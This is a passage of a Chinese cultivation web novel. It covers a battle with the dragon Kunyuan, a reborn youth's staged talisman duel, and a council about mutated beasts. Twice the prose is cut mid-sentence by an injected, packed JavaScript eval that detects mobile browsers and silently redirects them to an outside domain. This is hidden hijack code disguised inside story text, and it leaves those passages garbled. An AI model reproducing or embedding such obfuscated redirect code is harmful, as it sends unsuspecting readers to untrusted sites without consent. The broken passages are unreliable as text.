在雨水下,所有人的行动都变得迟缓。 林玄昭指腹擦过手上的雨水,像血一样黏腻,他不由自主地盯着这滴似水似血的雨,分辨不清,又移不开目光,他感觉自己的眼球都要长在这滴雨上了。 “什么东西,能阻碍老夫体内内力运转!”老者神色焦急,转头眼睁睁看着巨浪逼近,重重鬼影拥挤出水面冲他和林玄昭咆哮着袭来。 他费劲运转内力,准备直面这诡异的大水,拼死一搏。 一道身影擦肩而过,一步走到他和林玄昭身前,右手抬起,坚实的岩石凭空蔓延,构成一堵岩壁挡在他们面前,大水重重拍击在岩壁上,团团鬼影一下下疯狂冲击着。 周啸手抖了一下。 “周、周小友!” “快走,撑不了多久。”周啸浑身笼罩在内力凝结的岩层护罩中,淋不到雨,他抓起林玄昭,身影化为流光朝出口直奔而去。 林玄昭想要挣脱周啸的手:“我师尊还在第十层,周道主,你去找她,你快去帮她,别管我!” 周啸看着林玄昭,眼里有些悲哀。 “仙尊交给我的任务是保护好你。”他嘴角勾起一抹讽刺的笑,温和儒雅尽数卸去,“不然,你以为我想管你吗?陛下。” 林玄昭呆住。 周啸:“她不会有事,而你,是个真正的拖油瓶。” …… 第十层已经完全如同一片漆黑可怖的海洋,水中那些黑影很吵,仿佛在诉怨,又像是在悼念。它们想上前将祝寒撕咬吞没,都被她方圆一米的剑气绞碎。 这些水都是之前从坤渊内丹中涌出的。 坤渊献祭出了自己的内丹,献祭了自己的生命,引发雷电悲鸣,波涛怒吼,整个龙骨窟因为龙王的陨灭而哭泣。 它祭出内丹后失去生机,巨大的身体沉入水中,鳞片失去光泽,但仅仅过了数秒,龙目就重新张开,一片猩红,和那些变异的灵兽如出一辙。 全身鳞片剥落褪去,变成了一条纯黑的龙,皮肤质地像是新生儿般光滑细腻。 刚睁开眼时,它好像还花了几秒钟适应自己身在何处,然后浑身慢慢染上毁灭的气息,见到祝寒就像是见到食物般,张开长着触须的血盆大口,祝寒满眼只能看到猩红的舌头和在声波中抖动的口腔内壁。 出乎意料地,她似乎能通过某种奇怪介质听懂它的语言—— “想毁灭、想破坏、想吃掉。” 真巧,多么熟悉的精神状态啊。 祝寒心想。 和业火孽力发作时的她如出一辙。 祝寒在水中与坤渊交战,她肉眼看不完坤渊全貌,但神识可以,坤渊在游动,她也在不断调整位置,朝着要害出剑。 但折枝毕竟不是真正的剑,对一个剑修而言,仅凭折枝,她发挥不出多少力量,无法在与同境界的神兽战斗中取得上风。 这样的情况,她眼中却一如既往地平静,低头竟在轻轻地笑,唇角勾起一道愉悦的弧度。 这种表情通常会在翻开杂乱掩体发现隐匿起来的猎物时的捕猎者脸上出现。 脑海中浮现一道混沌而庞大的身躯,是在一百年前被她亲手斩杀,却还是让她业火异变的凶神。 是留下来的小尾巴吗?还是说,是什么预兆呢? “很痛苦吧,”她抬眼时,看向黑龙的眼底带上悲悯和同情,缓缓开口,“别怕,我会救你。” 一个翻腕,折枝贴在手臂内侧,不再对准坤渊。放下手的同时,一轮耀眼的法相光环自她身后升腾而起。 黑暗的水底被炽烈的光芒照亮。 外层琉璃般红粉色火焰轮环缓缓旋转,边缘闪烁浮现梵文,中央悬浮一朵十二瓣赤晶红莲,莲瓣半虚半实,随光环旋转缓缓开合,如呼吸般吞吐火光。 祝寒睁开眼,眼底染上赤红。 10. 泣江龙 祝寒原本一直在利用地势和身法与坤渊来回拉扯,坤渊反应虽快,但免不了受到巨大的身躯带来的一点行动限制,无法赶上祝寒的速度,只能被动迎击。 但现在,祝寒站在原地不动了,甚至收了折枝。 吃到苦头的黑龙的身体开始盘绕,一圈一圈将祝寒周围封死,让她失去灵活的空间,要将她完全封锁在身躯构成的牢笼中,绞杀在内部。 祝寒环视周围,空间扭曲,水底隐隐变成深红色,她毫不怀疑只要卸去周身的剑气立刻就会被江水吞噬得渣都不剩。 漫天浓云般的黑红的冤魂朝她厉声扑来。 黑龙高声怒吼,俯下庞大的头颅,张开嘴朝被限制在盘绕身躯中的祝寒冲下去。 “辛苦了,坤渊。”阴影压过头顶,面对肉壁蠕动的深渊大口在视线中疾速逼近,祝寒并未躲闪,只是这般说道。 “在我来之前,辛苦你还死守神志,压制着自己,也将所有灵兽压制在龙骨窟中。” 话音落下,法相光环亮起夺目的光。 高贵霸道的火莲虚影升腾而起,莲瓣舒展,遮蔽了整片上空,流火如血泪垂落。梵文融在红粉色火焰之间,如星轨环绕。 “我会尽量让你走得……少些痛苦。” 火光从黑龙盘绕的身躯内部绽开,亮得刺眼,瞬间空白一片。黑龙仰天怒嚎,声浪裹挟着火星,夹杂着凄厉的痛楚,它疯狂扭动身躯,但火焰紧紧包裹灼烧它全身。 身躯在火光中透明如琉璃,隐约可见一节节扭曲变形的龙骨。 红莲业火焚尽业障,净化罪孽,听上去倒是神圣高洁,事实却是诞生自恶孽和混沌中的火焰,蕴含着超乎寻常的霸道毁灭性,就算是在被孽力侵蚀之前祝寒也很少用到它。 但只要用到了,她的对手都只有一个下场,当年的凶神也不例外。 一道道锁链般的梵文覆上巨大的龙身,缠绕收紧,黑龙全力挣扎仍动弹不得,嘶吼已不成调,皮肉炸裂。 红粉色火焰蔓延遍它身躯上每一道裂纹,焚烧着骨骼和血肉。 一直到黑龙动静减小,挣扎幅度变得微弱,再到彻底不动为止。 它眼中的猩红逐渐褪去,恢复了黯淡的金色。 红莲缓缓降落,万千道火光收束,汇聚于一团,落回祝寒手中。 巨大的身躯砸落水底,激起狂浪般的尘土。 祝寒落到它身边。 还有一息尚存,就像将死之人被放心不下的事吊着一口气。 “睡吧。” 祝寒将手放上它漆黑的皮肤表面,仿佛隔着血肉触及灵魂,无声地传递了什么话语。 像是得到了安心的抚慰,巨龙沉重的眼皮轻轻颤抖,终于缓缓合上。 这只镇守昆天域以东长达数千年的灵兽,直到最后也在拼死和某种未知的入侵斗争着,这才没有让龙骨窟彻底失控,殃及龙骨窟周遭的普通人。 祝寒抬眼望去,在坤渊闭眼的那一刻,漫天的潮水也开始慢慢褪去,空气中夹杂着哭泣般的哀鸣。 算算时间,正常来说大部队现在离这里还远,潮水应该还没来得及接触到他们。 这样一来一切都没有偏离预期,接下来,她就可以将一个没有任何威胁的龙骨窟交给林玄昭,如他所愿那般助他立威。 就当是送给他的登基贺礼了。 只要炎国安定就好,与之相比,就算是动用红莲业火后需要付出的代价也无关紧要。 她朝上方飞去,准备回去找大部队汇合。 踏上第九层水迹未干的地面时,第一时间,祝寒就嗅到了空气中的血腥味。 说不出心里是种什么心情,她心跳很平稳,呼吸频率正常,表情也没有什么变化。 一如某天下班回家发现家里被狗拆了,第一反应当然不是发怒生气,而是一种趋于毁灭的平静。 一圈神识扩出,第九层的全貌在脑海中浮现。 出口被泥浆和岩石堵住,还缠着密密麻麻的章鱼触手状的东西,黑色的符文刻印其上,将出口完全封死,上面还残留着几道试图破解封印的剑痕,道道惊心。 灵兽和修士的尸骨四处散落,全都被啃得只剩骨头架,因为血都随着潮水消退,所以地面没什么血迹和残破的内脏,倒还干干净净的。 其中两具尸骨属于来时见到的那两个道轮境强者。 祝寒眉头一挑,睁开双眼,往前走去。 没走多久,前方出现一条细小的支路,祝寒来时没见过这条路。 这条细小的支路四面岩壁平整如削,像是被人用剑生生开辟出来的,还能感受到残存的剑气。 祝寒往里走,大概走了几十米,看到了周啸。 他垂着头,朝着她单膝跪地,右手中的剑插入石窟地面。 岩石从他的剑和他尸骨上蔓延,连接着他与四面岩壁,形成一堵坚实的屏障。 祝寒揉了揉眉心,压下心头升起的一股燥意。她想转头就走,想回离火宫,不,不对,想马上去逐月岛,想立刻看到那孩子,哪怕只是看看就好,而不是像现在这样。 她触摸上握着剑柄那只白骨森森的手,转眼间,周啸身上长出的那些岩石消融飞散。 祝寒在他身后不远处看到了背靠岩壁,坐在地上一脸失神的林玄昭。 “师尊。”林玄昭抬头,祝寒的影子靠近过来,他喉头滚了滚。 刻入灵魂深处的恐惧漫上心头,他不禁在想现在该怎么办,对了,她一向喜欢他跪在地上的样子。 林玄昭就要匍匐着上去跪下。 “玄昭,带上周道主。”祝寒看了一眼林玄昭就转过身去,声音平静,“走吧。” 虽然只一眼,但林玄昭发现祝寒脸上染着一层淡红。 她脚步飘忽不稳,还扶了一下身侧的岩壁。 林玄昭:“师尊……你用业火了?” 他手搭上祝寒肩头,她狠狠战栗了一下,听到她急促的呼吸,林玄昭感觉到自己嘴部肌肉不收控制地拉扯上扬。 祝寒拍开他的手,他不退反进,一下将她抱住:“师尊,我来帮你,交给我,交给我就好了……” 他闻着她侧颈,贪婪地吞食着隐秘幽静的香气,大脑兴奋得要融化。 “林玄昭?”祝寒回过头来,“在发什么呆?跟上。” 林玄昭从幻觉中惊醒。 “是……师尊。” 他从地上爬起来,扛起周啸的尸骨。 脑海里回想着不久之前周啸带着他直冲出口,却发现出口被奇怪的封印封死。 大水将至,周啸一剑辟出一条小路,但再往前却无法打通。水流汇进小路里,流量虽小,黑影数量却丝毫未打折扣。 周啸挡在他身前,身躯化作岩盾,将水流与他隔绝。 林玄昭心想,周啸只是为了不辜负祝寒给他的嘱托而已。 他在被黑影撕咬时还在对着空气呢喃:“您会记得我吗?” 林玄昭没有资格骂他愚昧,他起码还能付出生命让祝寒记住他,而自己连祝寒委以重任的资格都没有,她只会看他一眼都嫌恶心。 祝寒从一路修士和灵兽尸骨间走过,一言不发。 来到被封死的出口前,岩石上遍布的黑色符文如同封条,纹路不属于任何一种祝寒知道的阵法符号,散发着神秘邪异的气息。 只不过,当下,她实在没力气去想这其中的细节。 将手触碰上去时,仿佛被阴冷黏腻的舌苔擦过皮肤,一阵电击般的酥麻触感从指尖蔓延全身。 若是平常,她眼睛都不会眨一下,但刚使用完业火的身体感官敏感非常。 她忍下差点溢出喉间的闷哼。 眼神只一瞬就恢复了清明,折枝凝出一道剑光,劈砍向布满符文和触手的岩石。 封印碎裂,出口被打通。 祝寒无心思考接踵而来的问题,比如要怎么向大部队解释第九层第十层的情况,连失三名道轮境强者要如何稳定军心,再比如这一趟出征将如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626372|172383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收尾,她全都不想管了。 手中紧紧握着通灵玉石,感受到南宫政仁的位置已经处于逐月岛。 她对林玄昭温声说:“玄昭,接下来的事自己可以处理好吧?” 林玄昭想开口说什么,她又补了一句:“你母后暗中还派了两个道轮境保护你,他们被挡在第八层没下来,别担心道轮境会不够。我还有别的事要做,你去找他们陪你玩儿。” 说完,她从林玄昭手中拿过周啸的剑,这位道轮境剑修无门无派无亲无故,她只能拿他的剑去他家乡立个剑冢。 下一刻,游神御气,身形消失在原地。 林玄昭在原地静立半晌,眼中情绪不明。 他看向被打通的出口,对着剑痕陷入沉思。 她那一剑的威力似乎和周啸之前试图破开封印的最强一击威力相差不大,为什么封印在她面前就脆弱如泥,是因为封印的力量随着时间而消散了不少吗……这些恶心的触手和符文到底又是什么东西,也是龙骨窟意志的一部分吗? 偏偏还这么巧,封印出现的时机就像是专门为了狩猎他一样。 冲着他来的? 深邃的眉宇下,积聚的阴霾如同乌云,低头看去,一截黏糊糊的触手刚好在他脚边,他面部肌肉微不可察地抽动了一下。 良久,他嘴角颤抖地扯出一个阴冷的弧度,抬起脚,镶着鎏金的靴子慢慢踩住这团烂肉般的东西,用力地碾过。 …… 南宫政仁回到逐月岛已经一天了。 他昨日回去就开始继续上课,因为实在不太记得很多跟他打招呼的人是谁,多说多错,他索性一天没怎么说话。当然,也没必要跟这些人说话。 或是真切关心嘘寒问暖,或是抱着几分幸灾乐祸,但重要吗?不重要。 在旁人看来,就成了一朝跌落谷底性情大变,变得沉默寡言。 晚上回到他和祝祈琰两人居住的聆梧苑,祝祈琰因为学测的事想来跟他道歉,被他一杯加了迷药的茶水放倒,估计能昏睡到第二天中午。 什么都不想做,不想理会任何人…… 没有姐姐在的日子,好无趣、好恶心、好难熬…… 今天他第一节早课是蛊术课,但清晨钟声敲响时他出现在符术课的门前。 离上课时间还早,空荡的讲堂里只有一个衣着素净的少女在案牍前端坐,背脊挺直,手中执着一支绘符笔在符纸上落下朱砂。 听到动静,她回过头来看到门口的南宫政仁:“南宫?走错了,蛊术课在隔壁。” 虽然穿得素雅,但袖口晃动间可以看见刺绣精致的银色衣纹,胸前的串珠项链也是千年紫檀木打磨成的。 南宫政仁大概想起她是谁了。 炎国九公主,林璇玉。 “没走错,”他脸色稍微缓和,“不修蛊了,我来修符术。” 姐姐有洁癖,蛊虫恶心,惹她不喜,不养了。 练剑不适合他,炼丹他一窍不通,炼体不够风雅,御兽他比不过天生有优势的苍国人。 乐修和符修之间他选了后者。 毕竟,当年姐姐跟画师交往的时间比跟琴师交往的时间长了几个月。 林璇玉眉头轻挑,回头继续画符:“原来没变哑巴啊,怎么他们都说你哑了?” 南宫政仁和煦一笑:“哑巴了还怎么跟你道歉。” 林璇玉:“跟我道歉?为何?” 南宫政仁:“对不起,有机会请你吃烤蜈蚣。” 林璇玉:? 林璇玉摸不着头脑,南宫政仁却没作解释,走到位置上坐下。 林璇玉:原来不是哑巴,是脑子出问题了。 南宫政仁手撑着头,看着从庭院蔓延到窗棂的紫藤萝,回想起前世最后,他兵临离火宫,姐姐还没出关。是一身龙袍的林璇玉带着炎国残部挡在他面前,阻止他开阵摧毁离火宫,虽然最后都进了他坐骑千足蜈蚣的肚子。 不论如何,都要比她那公狗皇兄强多了。 11. 心莲荡 讲堂约莫有十几二十张案牍,逐月岛四年一开,每次接纳两百多名十八岁上下的修士,符修在其中占比并不算高,与最热门的剑修更是没法比,剑修那边光是讲堂就比符修这间大上三倍。 南宫政仁和林璇玉是最早到的,在这之后陆续有其他修士结伴成群进来。看到南宫政仁坐在讲堂角落的案牍前,有的跟林璇玉反应一样,以为他走错了,看白痴似的看着他,有的看了一眼就嗤笑着继续和同伴嬉笑,拿他当空气。 南宫政仁没有特意关注他们的反应,但这两天下来也能看出,这些人中对他怀着幸灾乐祸之心的人居多。 看来他当年的形象很是不怎么样,不能简单用“很多人看他不爽”来形容,已经是有点招人恨的程度。 当年系统要他维持一定的黑化值,而逐月岛时期,维持黑化值最简单的途径就是在切磋中给对方留下暗伤,或是装作不小心毁坏对方的法器。 着实不能怪别人恨他。 不过根本原因是他们自己没用,南宫政仁对此不抱有歉意。 离上课时间还有一会儿,这些修士某些方面与现世的大学生没两样,玩手机聊八卦,这个世界没有手机,于是他们的消遣方式一般是后者。 从林璇玉身边围着的人数来看,她属于很受同学欢迎那一类。 “璇玉,你哥真厉害,昨天出征龙骨窟大捷,还率众修士斩杀了坤渊!” “怎么我听的版本不是大捷?说是惨胜,有三名道轮境高手都折在坤渊手里。” “怎么可能,不是说那位也去压阵了吗?徐元泰你又吹牛是吧?” “骗你干嘛,我爹的弟子就在现场,千真万确,不止死了三个道轮境,还折了不少劫仙修士。要我说,化境也就比道轮境强那么一点,仙尊也就那样,在神兽面前一样自顾不暇。” 徐元泰说完,冷不防打了个寒战,一股被毒蛇注视般的凉意窜上脊背,他左顾右盼却没发现有何异常。 “坤渊死了?”一个声音突兀地插进来。 林璇玉抬头,看着周围人下意识让开,南宫政仁站在她面前。 林璇玉点头:“今早刚发告示,龙骨窟已平定,坤渊已死。” 南宫政仁:“怎么死的?谁杀的?” 林璇玉不知他为何突然如此关心这个,虽感奇怪,但还是如实相告道:“昭皇兄率炎国众修士斩杀。” 南宫政仁似是不相信般微不可察地摇头,没再继续说什么,又回了自己位置。 “神经啊……走路过来没声的,吓死我了……” “他就那样……哎,扫兴死了。” “嘘,别被他听到,这人心眼小得很,上次梁兄说他坏话被听到,第二天不就……” 南宫政仁坐在案前,手无意识将绘符笔转得刷刷生风。 坤渊死了。 林玄昭那条只会爬床的公狗杀的? 狗才会信。 他目光瞥向讲堂前的日历,如今是平连纪三十六年,离他前世自戕那会儿还有十一年。 前世他死的时候坤渊已经臣服他麾下并且活得好好的,怎么这一世一来就死了? 等等,前世这时候,有平定龙骨窟这一出吗? 南宫政仁瞳孔微微睁大。 没有。 他猛然记起,学测结束后不久,他们外出历练的场地就定在距逐月岛不远的龙骨窟,一路都很正常。 第二道钟声敲响,符术课授课宗师云书渺走进讲堂,姿态优雅雍容,鼻梁上架着一副银框镜。她粗略扫视一眼,看到后排角落的南宫政仁:“虽然教宗跟我说过,但是我还是要亲自问你一句,真的想好从蛊修系转来吗?” 南宫政仁父亲是南疆国蛊术第一人,大祭司南宫岄。南宫政仁在蛊术上的天赋更是有过之而无不及,一下突然说要转系来当符修,恐怕整个逐月岛上都没几个人相信。 南宫政仁站起来,一脸乖巧地答道:“多谢云道主关心,这是我经过深思熟虑做出的决定。” 云书渺:“符修和蛊修的修习形式完全不同,你蛊修当得怎么样,跟你当符修没有任何关系。我需要重新了解一下你符术上的水平,如果达不到我的最低要求,我有权利不接受你的转入。” 南宫政仁挠了挠脸颊,眯眼笑道:“其实我……略通一些?” 云书渺扶了扶眼镜:“这么说,你是有基础的咯?跟谁学过吗?” 南宫政仁:“自学。” 讲堂里响起一抽一抽的憋笑声。 云书渺是有数百年道行的修士,自然不会和年轻人一样觉得这话好笑,她刚想问些更具体的问题,就听南宫政仁先开口说道:“云道主,我可以向同窗们讨教讨教吗?” 云书渺眉头一挑,暗暗戏笑,心想有点意思:“当然可以。” 南宫政仁:“能让我自己挑选对手吗?” 得到云书渺肯定的答复,南宫政仁将视线转向某个方向,隔着几排座位,前面的徐元泰似是感觉到什么,双肩绷紧了一下,转过头来。 南宫政仁与他对视,倏地笑了:“我符术道行浅,只能挑软柿子捏了,师兄,多担待。” 徐元泰后背渗出冷汗,这是他今天第二次有这样的感觉,阴冷到他无心理会南宫政仁话语里明晃晃的嘲讽。 太怪了。 习武场,两人各立于一端。 符修对身法速度要求颇高,内战开始前两人之间需相隔百米。 林璇玉站在场外:“几张?你们自己定。” 问的是内战时的符箓张数上限,不论是事先还是临时绘制,这场战斗每人使用符箓张数不能超过这个数。 南宫政仁:“我不太清楚符修的规矩,师兄定吧。” 徐元泰:“那便老规矩,十张。” 林璇玉却摆手说:“他是新手,按入学测试的规矩来,五张。” 徐元泰心说所以你刚刚那句“你们自己定”起了一个什么作用? 林璇玉退后一段距离,确认二人已经准备就绪:“切磋交流,点到为止……开始!” 徐元泰的精神丝线第一时间锁定南宫政仁,五张明黄色符箓从手中同时挥出,致幻符、迟缓符、锁足符、雷电符、火球符。 场外观战的符修们窃窃私语。 “一点后路没给自己留,不把对手当人看啊。” “对付刚入门的新人足够了,这五张一起下去,我接下都够呛。” 南宫政仁抬手,手指在空中往下虚划一笔,一道边缘幽蓝的中空笔迹凭空出现。 徐元泰脸色一变。 充当裁判的林璇玉喃喃道:“凭空画符,这么有底气?能画完吗?” 徐元泰的五张符箓也在这时朝南宫政仁扔来,在精神丝线的引导下精准锁定着他,而南宫政仁的画符的动作没有丝毫停滞迟缓,一面闪身躲避一面飞快地完善着繁复的符文轨迹。 “居然已经掌握凭空画符?那还挑徐元泰当对手,扮猪吃老虎啊?” “什么图案?你见过吗?” “你没见过?我也没见过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626373|172383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 就在南宫政仁即将画下最后一笔时,人群之外观战的云书渺瞳孔骤然缩紧。 与此同时,南宫政仁顿了一下,闪避着精神丝线的身形第一次出现了一点停滞。 他偏过头去,视线越过习武场周围的人群,看见不远处花树下两个身影。 男的顶着和林玄昭那公狗有着七八分相似的脸,嘴里不知说了些什么,身旁的祝寒就低头掩着嘴笑个不停,她都没有在他面前笑得这么开心过。 那一瞬间他脑海里冒出无数个念头。 为什么来逐月岛不先找我? 什么时候来的?今早?还是昨天? 你们在聊什么? 我们之间现在是什么关系? 某种奇怪的感觉像破土的春笋般滋生,变成细碎的低语在耳边萦绕,声音越来越大,盖过了所有感官。 腰间的香囊球摇晃出清脆的声响,他猛地回过神来。 那一瞬间,阳光、树影、喧闹的人群、符箓的轨迹一股脑涌入眼底和耳中,他真切感受到周遭的一切。 和前世相比是那么美好。 对啊,他已经重开了。 他答应过要做她最听话的狗。 手里最后一笔轨迹没有画下,空中闪烁的符文终于停留在一个半成品的状态,迎着徐元泰五张符箓轰出。 云书渺正要挡在徐元泰身前接下这一击,一道念力却突然刺来,对神识造成干扰,她略微一顿,朝某个方向看去,花树映入眼帘。 透明的蓝色符文拍进徐元泰体内,他吓得双目瞪圆,但一阵惶恐过后,发现除了胸口有一点极小的灼伤,一点其他的感觉也没有。 “就这?”他不禁嗤笑出声,随即得意地看着自己对轰后还剩下的两张符箓精准砸中那个狂妄的臭小子。 南宫政仁被雷电符、致幻符接连命中,直接被一串电流电出了习武场,在空中形成一道抛物线,重重地砸落在花树下。 人群中传来感叹:“徐元泰这雷电符又精进了啊……” 徐元泰自己都惊了,他对自己的能力还是有数:“我的雷电符什么时候这么猛了?” 除了云书渺,恐怕只有林璇玉看出端倪。 那是南宫政仁给自己施加的反冲力。 不是,哥,有必要这么演吗?图什么? 花树下,粉色花瓣在晨光斜照的轨迹里轻柔飘落。 林玄夜和祝寒的谈话戛然而止。 南宫政仁抓着祝寒的裙摆,趴在她脚边,声音柔弱无力:“姐姐……” 祝寒俯下身,南宫政仁抬起头,将侧脸放入她掌心中,轻轻地磨蹭。 她怜惜地叹气:“还好吗?” 林玄夜似乎有些生气地对着那边喊:“切磋点到为止!徐元泰,你下这么重手干嘛?他刚休养好了回来,才第一天!” 才一天么?他还以为他和姐姐已经很久没见了。南宫政仁模糊地心想。 南宫政仁五指慢慢抚上她的手,将脸埋得更深,用鼻尖蹭着她手心:“姐姐,没有你……我就不好……” 林玄夜向他投来怪异的注视。 林璇玉等人赶到这里的时候,看到南宫政仁正跪在地上抱着祝寒的腰,说出的话将在场所有人吓得五雷轰顶:“姐姐,跟我结婚吧。” 他哼哼唧唧地在祝寒小腹上蹭来蹭去:“我会做一条好狗的。” 林璇玉转头看着被林玄夜骂了以后满脸写着“冤枉”二字的徐元泰,沉默半晌,迟疑说道:“你的致幻符也进步了?” 12. 心莲荡 原来是中了致幻符。 林玄夜听到这里,心里竟松了口气,不然他想不到还能有什么原因可以解释南宫政仁的行为。 那可是当年林家先辈都望尘莫及的高岭之花,在修真界更是传说一样的存在,唯一可以被称呼为仙尊的人,他竟然敢如此出言不逊。 哪怕是致幻符的缘故也很离谱,结婚这种词都说的出来,别说说出口,林玄夜觉得就算是在心里想想都是大不敬。 这小子天天在想些什么。 林玄夜差点过去上手把他拉开。 可是当他悄悄抬眼看祝寒的反应时,却看到她只在一开始露出了一点怔忡,然后微微低头,发丝倾泻,对于南宫政仁冒犯的举动没有丝毫愠色,眼里还带着一点心疼,为他擦去嘴角的血迹。 林玄夜瞳孔再次地震。 仙尊……真是温柔,对一个没有血缘关系的侄子都这么宽容呵护。 周围这么多双眼睛注视,祝寒心想自己本该立刻推开他的,倒不是因为害怕世俗舆论的压力,而是担心有心之人会借此觉察到她的弱点,那就有些糟糕了。 自南宫政仁身上蔓延出的丝丝凉意通过肢体的直接触碰浸润而来,祝寒心底,一股持续已久的燥意也在慢慢被抚平。 她不禁感到遗憾。如果不是周围人多,如果只有他们两人…… 她闭上眼,心绪平复,旋即睁开。 还好,她已经习惯了在人前隐藏好自己的异样。 “乖,”祝寒轻柔抚摸着南宫政仁贴在小腹上的头,“先去疗伤,回去再说。” 旁观的符修们全都惊呆了。 祝寒的反应带来的震撼不比看到南宫政仁抱住她时的冲击力低。 仙尊原来是这么温柔的吗? “回去再说”——哪怕知道她是出于对一个孩子的照顾,没有在他精神受创的时候戳破他的臆语,但这句话未免太宠溺,暗藏着某种令人遐思的意味,尤其是从她这样地位的人口中说出来。 一时间,好像有数道嫉妒的目光落到南宫政仁身上。不少人甚至不禁在想:为什么中致幻符人的不是自己。 南宫政仁没有再抱住不放,听祝寒说完,他便恋恋不舍地松了手。 云书渺:“抱歉,我没管好手底下的学生,切磋失了分寸。” 祝寒:“无碍,带他去看医师吧。” 林玄夜想赶紧把南宫政仁支走:“璇玉啊,快带南宫去医修系那边看看!” “不是阿政,”祝寒摆了摆手,目光投向围观人群中的某人,“是他。” 众人顺着祝寒的目光看去,是刚在切磋中取胜的徐元泰。 徐元泰一脸不明所以,挠了挠头:“我?” 云书渺却点了点头:“没错,就是你。” 徐元泰感到一阵心慌:“可我没事啊。” 云书渺叹了口气:“你连对手的招式都不认得,就这么心大地自以为没事?走吧,去医修系,晚了就麻烦了。” 纵使祝寒和云书渺都没有明说,但三言两语已经能让人瞧出端倪。 刚刚那场切磋,恐怕是徐元泰吃亏了。 南宫政仁那招符术没人认得,但看这样子,那招绝不像看上去这么简单无害,极有可能附带某种暗伤,更恐怖的是中招之人对此毫无发觉。 云书渺迟疑片刻,轻轻咬牙,想问出口的那句话终究还是咽了回去。 仙尊,既然知道,为何还…… 云书渺没与祝寒交过手,对她的灵力气息也不太熟悉。但她对林玄夜倒是很熟,干扰她为徐元泰挡住南宫政仁符术的那道念力绝不可能是林玄夜的。 刚刚南宫政仁跪在地上抱住祝寒时,她的眼神平静里带着温柔,再寻常不过,就像是在随手抚摸路边偶遇的一条缠人的小狗。 可不知为何,云书渺隐隐觉得有些奇怪。 “云道主。”林玄夜的声音打断她的思绪,“下了课来议事堂一趟。” 云书渺一愣:“只有我吗?” 林玄夜:“所有宗师,我正要去通知。” 云书渺似是明白了什么。 他们一般是见不到祝寒的。 今日祝寒一来,林玄夜便召集全岛宗师议事,恐怕,是有什么大事要发生了。 …… 议事堂 逐月岛上各个流派、各种主课副课宗师加起来上百,因而议事堂修建成了类似于现世中会议报告厅的模样。台上一张橫桌,台下一排排座位呈阶梯式。 今早没课的宗师们已经就坐,下课钟声敲响后,余下的宗师也陆续进入议事堂,在后排坐下。 祝寒坐在台上,偶有宗师进来时向她行礼,她便回以礼貌微笑,其余时间则在看林玄夜呈给她的全岛年末成绩册。 剑修系宗师:“仙尊这么快又来了,太好了,上次她走的时候说下次一定会指点我剑道,我还担心又要等上好几年。” “死剑痴,满脑子就知道剑剑剑,”坐在他身边的灵媒宗师满脸无语,“我觉得你还是不要去打扰仙尊比较好。” “为何?” 灵媒宗师叹气,在她的感知里,她看到的是扭曲不稳定的内力气息在祝寒四周涌动。最外围是红莲般的淡红,越靠近她,越趋于污血般的猩红。 “她现在……恐怕状态不是很好。” 剑修宗师突然想到什么,低声说:“是吗……听说龙骨窟一行似乎也不是很顺利。” 祝寒放下手里的成绩册,不着痕迹地扶了一下额头,抬眼看人差不多来齐,开口叫了个名字:“月奚。” 刚还在希望和祝寒切磋的那位剑修系宗师听到祝寒叫到他,一下打起十二分精神站起来:“仙尊,我在。” “我知道,你和学生们玩得很好,打成一片。不管天资如何,你都一视同仁有教无类,这也是我最欣赏你的一点。”祝寒低头在成绩册上扫了一眼,“不过,还是希望你在对待课业成绩这方面少放点水。” 月奚听到前半段,嘴角压都压不住,听到后半段,笑容僵在脸上,成了个苦笑:“啊哈哈哈哈……这都被您发现了。” 因为创始者是祝寒这个现代人,因而逐月岛的课业都采用百分制,六十分合格,与现世中的大学一样。 她看着月奚的课程成绩册上清一色的合格,最后几个名字旁边清一色的六十分。 ……捞人就算了,捞得还这么没水平。 这么明显,她实在是做不到睁一只眼闭一只眼。 如果是放在几年前,昆天域一副祥和安宁,万事太平那会儿,她多半也会是得过且过的态度,但事实却是今时不同往日。 “老月,我就说你这么干绝对有一天翻车。”灵媒宗师摇摇头,轻声说道。 月奚惭愧道:“多谢仙尊提点,我今后不会再这么做了。 祝寒抬头,正视月奚双眼,露出一个浅浅的笑:“以我对你的了解,相信你可以交出一次没有水分的全合格。” 月奚挺胸:“是的!请您放心!” 灵媒宗师小声说:“啧,仙尊还是太温柔了,这都不罚你钱。” “就你满脑子是钱!”月奚坐下后白了她一眼,悄声说。 祝寒扫视一圈,所有人表情都带上些严肃,许是因为她很少这么当众点人,他们意识到这一次集体议事与以往的不同。 可以的话,她也不想这样,过去上班时她也很讨厌听领导讲话,但兴许,这次必须要严肃起来。 祝寒:“其他人同样,有则改之无则加勉。过去近百年,三洲五国可以说得上是风平浪静,危机感有所减弱是正常的。我也希望有朝一日这些孩子们不用再有压力,但很明显,还不是现在。” “是出什么事了吗?”有人问道。 祝寒点头:“接下来我会讲。” 之后,她将龙骨窟中的所见说了出来。 除此以外,还有一个更糟的消息。 “什么?居然其他地方也开始出现这样的灵兽变异?” “这到底是些什么东西?” 祝寒看着地图上十几个划红圈的位置,代表这里是开始出现灵兽变异的地方。 是啊,到底是些什么东西呢。 为什么这个世界会出现和现世中的异形一样的怪物呢? 她说:“也许,这些变异的灵兽,我们可以称之为异形。” 